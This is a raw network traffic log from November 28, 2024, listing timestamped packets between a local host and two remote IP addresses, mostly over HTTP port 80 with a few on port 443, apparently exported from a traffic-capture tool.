Nov 28, 2024 13:09:56.024372101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.024450064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.024493933 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.036041975 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.143307924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.143503904 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.143563986 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.144366980 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.190375090 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385195017 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385210037 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385221004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385234118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385246038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385257959 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385271072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385282993 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385297060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385298967 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385318041 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385322094 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385322094 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385329962 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385344028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385355949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385369062 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385375023 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385380983 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385389090 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385395050 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385410070 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385415077 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385428905 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385441065 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385442972 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385452986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385462046 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385464907 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385478020 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385499001 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385515928 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385515928 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385516882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385529041 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385541916 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385552883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385565996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.385569096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385605097 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.385605097 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.386390924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386404037 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386416912 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386428118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386440039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386452913 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386462927 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386475086 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.386475086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386487961 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386488914 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.386499882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386514902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386528015 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386534929 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.386539936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386548042 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.386554003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.386611938 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.386611938 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.387155056 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387167931 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387180090 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387218952 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.387300968 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387317896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387329102 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387342930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387343884 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.387411118 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.387437105 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387451887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387461901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387480021 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387486935 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.387495995 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387506008 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.387509108 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387521029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387532949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387545109 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387551069 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.387557030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.387588024 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.387605906 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.388195038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388206959 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388226032 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388237953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388250113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388251066 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.388271093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388274908 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.388283014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388317108 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.388343096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.388387918 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388401031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388411999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388425112 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388437986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388451099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388458014 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.388458014 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.388463020 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388475895 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.388510942 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.388593912 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.389234066 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389256001 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389269114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389281988 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389293909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389307022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389316082 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.389319897 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389333010 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389339924 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.389345884 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389358997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389369965 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389379025 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.389379025 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.389381886 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389398098 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389410019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.389413118 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.389436007 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.389544010 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.390091896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390105009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390116930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390130043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390142918 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390156984 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390156984 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.390167952 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390213966 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.390213966 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.390558004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390571117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390583038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390595913 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390608072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390620947 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390633106 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.390633106 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.390639067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390651941 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390665054 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390676975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390681028 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.390681028 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.390688896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390702009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.390718937 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.390746117 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.391706944 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.391726971 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.391760111 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.391829967 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.391829967 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.391844034 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.391920090 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.392347097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392359018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392402887 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.392448902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392462015 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392473936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392487049 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392498970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392508984 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.392508984 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.392510891 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392524004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392538071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392549992 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392564058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.392592907 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.392592907 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.392592907 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393255949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393269062 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393279076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393290997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393304110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393316031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393327951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393341064 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393342018 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393342018 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393372059 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393762112 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393774033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393785954 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393799067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393810034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393822908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393837929 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393846035 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393846035 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393850088 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393863916 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393877029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393877983 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393888950 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393893957 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393902063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393913984 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393927097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.393932104 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393932104 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.393939018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394025087 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.394571066 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394586086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394598961 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394612074 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394629955 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.394640923 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.394702911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394716024 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394726992 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394741058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394752979 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394758940 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.394766092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394778013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394785881 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.394787073 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.394790888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394817114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394829035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.394833088 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.394871950 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.395529032 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395541906 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395553112 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395571947 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395576954 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.395585060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395597935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395601988 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.395610094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395622969 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395633936 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.395636082 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395648956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395653963 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.395661116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395673037 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395684004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395688057 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.395697117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.395701885 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.395735025 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.396393061 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396404982 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396425962 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396437883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396450996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396454096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.396466970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396470070 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.396480083 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396507025 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.396533966 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.396744013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396857023 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396868944 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396879911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396892071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396903038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396915913 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.396915913 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.396918058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396930933 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396944046 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396955967 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396960974 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.396969080 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.396997929 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.397017002 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.397406101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.397419930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.397514105 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.397532940 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.397546053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.397581100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.398245096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.398324966 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.398335934 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.399358034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.399416924 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.399456024 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.400471926 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.400563002 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.400573969 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.401621103 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.401730061 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.401734114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.401912928 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.402728081 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.402802944 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.402858973 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.403862000 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.403933048 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.403944969 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.404985905 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.405085087 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.405097008 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.406121016 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.406167984 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.406208038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.407231092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.407327890 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.407344103 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.408360004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.408488035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.408503056 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.409553051 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.409574032 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.409606934 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.410686016 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.410741091 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.531618118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.531807899 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.532264948 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.532332897 CET	49745	80	192.168.2.4	185.215.113.16
